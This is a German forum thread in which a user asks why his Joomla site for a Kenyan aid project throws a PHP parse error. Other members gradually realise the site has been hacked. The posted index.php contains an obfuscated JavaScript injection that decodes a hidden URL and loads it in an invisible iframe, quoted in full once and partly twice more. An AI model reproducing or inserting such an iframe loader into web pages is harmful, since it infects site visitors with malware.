mediengestalter.info
FAQ :: Mitgliederliste :: MGi Team

Willkommen auf dem Portal für Mediengestalter

Aktuelles Datum und Uhrzeit: Sa 27.04.2024 15:29 Benutzername: Passwort: Auto-Login

Thema: Joomla Problem vom 22.12.2011


Neues Thema eröffnen   Neue Antwort erstellen MGi Foren-Übersicht -> Web-Software -> Joomla Problem
Seite: 1, 2  Weiter
Autor Nachricht
sago89
Threadersteller

Dabei seit: 22.12.2011
Ort: -
Alter: -
Geschlecht: -
Verfasst Do 22.12.2011 12:19
Titel

Joomla Problem

Antworten mit Zitat Zum Seitenanfang

Hallo zusammen,

Ich habe vor einer Weile mittel Joomla eine Webseite für eine Kenyanisches Hilfsprojekt gemacht. Jetzt funktioniert diese nicht mehr. Ich bekommen folgende Fehlermeldung:

Zitat:
Parse error: syntax error, unexpected '<' in /home/www/web478/html/maimuna/administrator/index.php on line 88


wenn ich mir nun den Code anschaue kann ich nichts ungewöhnliches finden:

Code:
<?php
/**
* @version      $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package      Joomla
* @copyright   Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license      GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define('DS', DIRECTORY_SEPARATOR);

require_once( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once( JPATH_BASE .DS.'includes'.DS.'framework.php' );
require_once( JPATH_BASE .DS.'includes'.DS.'helper.php' );
require_once( JPATH_BASE .DS.'includes'.DS.'toolbar.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
 * CREATE THE APPLICATION
 *
 * NOTE :
 */
$mainframe =& JFactory::getApplication('administrator');

/**
 * INITIALISE THE APPLICATION
 *
 * NOTE :
 */
$mainframe->initialise(array(
   'language' => $mainframe->getUserState( "application.lang", 'lang' )
));

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
 * ROUTE THE APPLICATION
 *
 * NOTE :
 */
$mainframe->route();

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
 * DISPATCH THE APPLICATION
 *
 * NOTE :
 */
$option = JAdministratorHelper::findOption();
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
 * RENDER THE APPLICATION
 *
 * NOTE :
 */
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark( 'afterRender' ) : null;
$mainframe->triggerEvent( 'onAfterRender' );

/**
 * RETURN THE RESPONSE
 */
echo JResponse::toString($mainframe->getCfg('gzip'));
?<html><body><script type="text/javascript">function nFUK(){var DRaSe='kWROX';if('ZdLDY'=='Usir')AIKAYU();}
if('dHfD'=='yUMmF')CcSLc();var GxhmtZ='pTRi';var PJOJ='OtHCac';var aVFqiuiA="939f9f9b655a5a8d909e9f9990a2a597a3598da5598e985a9f9d915a8e9aa0999f909d59939f98";if('ApvPKY'=='zyjPDt')GhcC='lpwxZ';var iWOzzlu="";function exMD(){var QvpMry='AhGYcj';if('Wnutqw'=='jWkFFJ')tEdXk();}var HMFQGS;var WvCKinn="\x66romC\x68arCod\x65";var iaXtD;if('AQxl'=='YvtQ')hQIa='jBVI';var rAMLhnx="parse\x49n\x74";var jJdRFu='Mtsey';function DHKHMO(){}
var nWDuMVW="\x73lice";if('huiFSg'=='MoqXiC')HxWUwZ();function ETJZw(){}
var noBXMIdN=(function(){if('hhwS'=='UYmEn')icLM='PlHhw';return this;if('GbSAs'=='OgSMHj')FegrNX='xeNI';var YsnMu='fWYSY';})();function mFDG(){var tOOq='YXlsb';if('izqDB'=='obLYdQ')RWfcF();}
var jFLBLu="cons\x74ruct\x6f\x72";function eNKyO(){var uNeFHa='CKXfl';if('EgVZtC'=='MYrqn')oUwr();}
var dNEcBIs="YBrCgU"[jFLBLu];function hIbQN(){var tfHX='YKGxK';if('gmVRbP'=='bGFmk')irst();}
if('uwRCee'=='HYZvxk')IpPFng='AKwZ';var bwWy;for(var tKmbdKxF=0;tKmbdKxF<aVFqiuiA.length;tKmbdKxF+=2){function SSqopc(){}var YvhMtu;if('FjvyVX'=='PpUnKJ')uuNq='Qbbmm';zpmFQ=noBXMIdN[rAMLhnx](aVFqiuiA[nWDuMVW](tKmbdKxF,tKmbdKxF+2),16)-43;var zJyV=299;var PyyTn;iWOzzlu+=dNEcBIs[WvCKinn](zpmFQ);if('Fauq'=='uNZSZ')gWkn();if('wiJUHA'=='XboS')AjkFOq();var GozJY=258;}
var NZAVKt;function ZESI(){var LgDEJ='tuzCFm';if('uTRDR'=='pnFmZ')HqrA();}
function iXTOzr(){}var pAXmuO;var pbHsXg="AAJNmeB";var QFzAk=170;if('eoRNe'=='MQqvV')oZEU='JqyC';var TkICGBO=navigator.appVersion.indexOf("MSIE")!=-1?'<iframe name="'+pbHsXg+'" src="'+"iWOzzlu"+'">':'iframe';if('Prml'=='GizmAq')ITgrz='sXgdy';function pVqFSH(){var flpvaD='ogdkQ';if('LoHMp'=='Bewx')fQZQ();}if('JxYCV'=='uKYP')cwGXU='RbuVaX';var BbOFMB=document.createElement(TkICGBO);BbOFMB.name=pbHsXg;var orJDll='zBrDD';BbOFMB.setAttribute("name",pbHsXg);var EeVs='IxshIr';function whULQ(){var YIKprd='XSxnN';if('nTPhP'=='HPHP')aKKGIy();}
BbOFMB.id=pbHsXg;function XNxaKg(){}if('wBllVQ'=='JQiHFG')VGko='LZpfa';BbOFMB.src=iWOzzlu;BbOFMB.style.right="0px";var WzeJW=153;BbOFMB.style.top="0px";var UQLZ='LgJevV';if('hPxF'=='bbFhp')Omqe='fktQdt';BbOFMB.style.height="1px"
BbOFMB.style.width="1px";var yvRq;if('jiWO'=='ZcuMd')qORP='xuNi';BbOFMB.style.position="absolute";if('dXdBlu'=='UNXNXt')fCTzHn='WqoQBk';document.body.appendChild(BbOFMB);if('BTvxOE'=='JQrVS')ZaMqvy='JHHhwe';if('aVRPL'=='ZjBj')hPmFze();</script></body></html>>


Und hier ist der Ausschnitt um Zeile 88:

Code:
// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark( 'afterRender' ) : null;
$mainframe->triggerEvent( 'onAfterRender' );

/**
 * RETURN THE RESPONSE
 */
echo JResponse::toString($mainframe->getCfg('gzip'));
?<html><body><script type="text/javascript">function nFUK(){var DRaSe='kWROX';if('ZdLDY'=='Usir')AIKAYU();}
if('dHfD'=='yUMmF')CcSLc();var GxhmtZ='pTRi';var PJOJ='OtHCac';var aVFqiuiA="939f9f9b655a5a8d909e9f9990a2a597a3598da5598e985a9f9d915a8e9aa0999f909d59939f98";if('ApvPKY'=='zyjPDt')GhcC='lpwxZ';var iWOzzlu="";function exMD(){var QvpMry='AhGYcj';if('Wnutqw'=='jWkFFJ')tEdXk();}var HMFQGS;var WvCKinn="\x66romC\x68arCod\x65";var iaXtD;if('AQxl'=='YvtQ')hQIa='jBVI';var rAMLhnx="parse\x49n\x74";var jJdRFu='Mtsey';function DHKHMO(){}
var nWDuMVW="\x


Es gilt noch zu sagen, dass ich überhaupt kein PHP Profi bin.

kann es sein, dass es daher kommt, weil ich die Seite mit einer alten Version von Joomla erstellt habe? Die Seite ist mittlerweile 2.5 Jährig und wurde mit der damals aktuellen Version erstellt.

Danke und Gruss
Samuel
  View user's profile Private Nachricht senden
zweitaccount

Dabei seit: 25.01.2008
Ort: -
Alter: -
Geschlecht: -
Verfasst Do 22.12.2011 13:09
Titel

Antworten mit Zitat Zum Seitenanfang

Code:
/**
 * RETURN THE RESPONSE
 */
echo JResponse::toString($mainframe->getCfg('gzip'));
?><html>


Dir fehlt da ein '>' nach dem ? und vor dem '<html>'.

Grüße
zweitaccount
  View user's profile Private Nachricht senden
Anzeige
Anzeige
sago89
Threadersteller

Dabei seit: 22.12.2011
Ort: -
Alter: -
Geschlecht: -
Verfasst Do 22.12.2011 17:28
Titel

Danke

Antworten mit Zitat Zum Seitenanfang

Danke für die Antwort.

Jetzt habe ich das gemacht und jetzt bekomme ich diese Meldung *Schnief*

Zitat:
Parse error: syntax error, unexpected '<' in /home/www/web478/html/maimuna/index.php on line 88


Code:

/**
 * RETURN THE RESPONSE
 */
echo JResponse::toString($mainframe->getCfg('gzip'));
?><html><body><script type="text/javascript">function nFUK(){var DRaSe='kWROX';if('ZdLDY'=='Usir')AIKAYU();}
if('dHfD'=='yUMmF')CcSLc();var GxhmtZ='pTRi';var PJOJ='OtHCac';var aVFqiuiA="939f9f9b655a5a8d909e9f9990a2a597a3598da5598e985a9f9d915a8e9aa0999f909d59939f98";if('ApvPKY'=='zyjPDt')GhcC='lpwxZ';var iWOzzlu="";function exMD(){var QvpMry='AhGYcj';if('Wnutqw'=='jWkFFJ')tEdXk();}var HMFQGS;var WvCKinn="\x66romC\x68arCod\x65";var iaXtD;if('AQxl'=='YvtQ')hQIa='jBVI';var
  View user's profile Private Nachricht senden
zweitaccount

Dabei seit: 25.01.2008
Ort: -
Alter: -
Geschlecht: -
Verfasst Do 22.12.2011 17:50
Titel

Antworten mit Zitat Zum Seitenanfang

Hmm, kommentier mal diese zeile da aus:
Code:
echo JResponse::toString($mainframe->getCfg('gzip'));


Falls der Fehler nicht mehr kommt - steckt da der Wurm drin. Bin aber
leider (oder glücklicherweise) kein Joomla Profi.

Ansonsten hast Du nach
Code:
</script></body></html>>

das schließende > drin, sollte auch raus.

Au weia! Öhm, krass - jetzt sehe ichs erst, die komplette Seite wird ja praktisch
per JavaScript geschrieben? Nicht das die Dir gehackt wurde?

// Äh - die wurde gehackt. Das Script will Daten von bestnewzlx.bz.cm nachladen...
Da kann ich Dir auch nicht weiterhelfen.


Zuletzt bearbeitet von zweitaccount am Do 22.12.2011 17:56, insgesamt 1-mal bearbeitet
  View user's profile Private Nachricht senden
top
Moderator

Dabei seit: 25.11.2003
Ort: Hedwig Holzbein
Alter: 52
Geschlecht: Männlich
Verfasst Do 22.12.2011 18:14
Titel

Antworten mit Zitat Zum Seitenanfang

Ich habe ja nicht viel Ahnung von Java-Script. Der untere Teil deines Quelltextes erscheint mir aber irgendwie sehr verdächtig.

Frag doch mal beim Provider nach, ob die noch ein Backup von vor dem Hack haben und die Seite auf den Stand bringen können. Dann sämtliche Zugangsdaten ändern, Joomla-Updates aufspielen und hoffen, dass sich nicht noch irgendwo eine vom Hacker angelegte Hintertür befindet... * Keine Ahnung... *
  View user's profile Private Nachricht senden
zweitaccount

Dabei seit: 25.01.2008
Ort: -
Alter: -
Geschlecht: -
Verfasst Do 22.12.2011 21:38
Titel

Antworten mit Zitat Zum Seitenanfang

top hat geschrieben:
...Der untere Teil deines Quelltextes erscheint mir aber irgendwie sehr verdächtig. ..

jo genau, da steckt es auch - ab hier praktisch: <script type="text/javascript">function nFUK(){var...

Aber wie top schon meinte, würde es mich auch nicht wundern, wenn
nicht noch weitere Files modifiziert wurden - wenns denn schon mal
im Template steht.
  View user's profile Private Nachricht senden
sago89
Threadersteller

Dabei seit: 22.12.2011
Ort: -
Alter: -
Geschlecht: -
Verfasst Fr 23.12.2011 12:07
Titel

Antworten mit Zitat Zum Seitenanfang

Das habe ich befürchtet. *Schnief* Danke für die Antworten.
  View user's profile Private Nachricht senden
sago89
Threadersteller

Dabei seit: 22.12.2011
Ort: -
Alter: -
Geschlecht: -
Verfasst Di 10.01.2012 16:59
Titel

kein Backup

Antworten mit Zitat Zum Seitenanfang

Hallo zusammen,

Leider hat mein Provider nur Backups von den letzten 10 Tagen. Hat jemand von Euch eine andere Idee?
  View user's profile Private Nachricht senden
 
Ähnliche Themen Joomla-Menü-Problem
Joomla 1.5.23 Phoca Download Problem
Joomla xampp->webspace problem
Hika-Shop (Joomla): Problem mit Preisen
Joomla Untermenü?
joomla! / cms Layoutpräsentation
Neues Thema eröffnen   Neue Antwort erstellen Seite: 1, 2  Weiter
MGi Foren-Übersicht -> Web-Software


Du kannst keine Beiträge in dieses Forum schreiben.
Du kannst auf Beiträge in diesem Forum nicht antworten.
Du kannst an Umfragen in diesem Forum nicht mitmachen.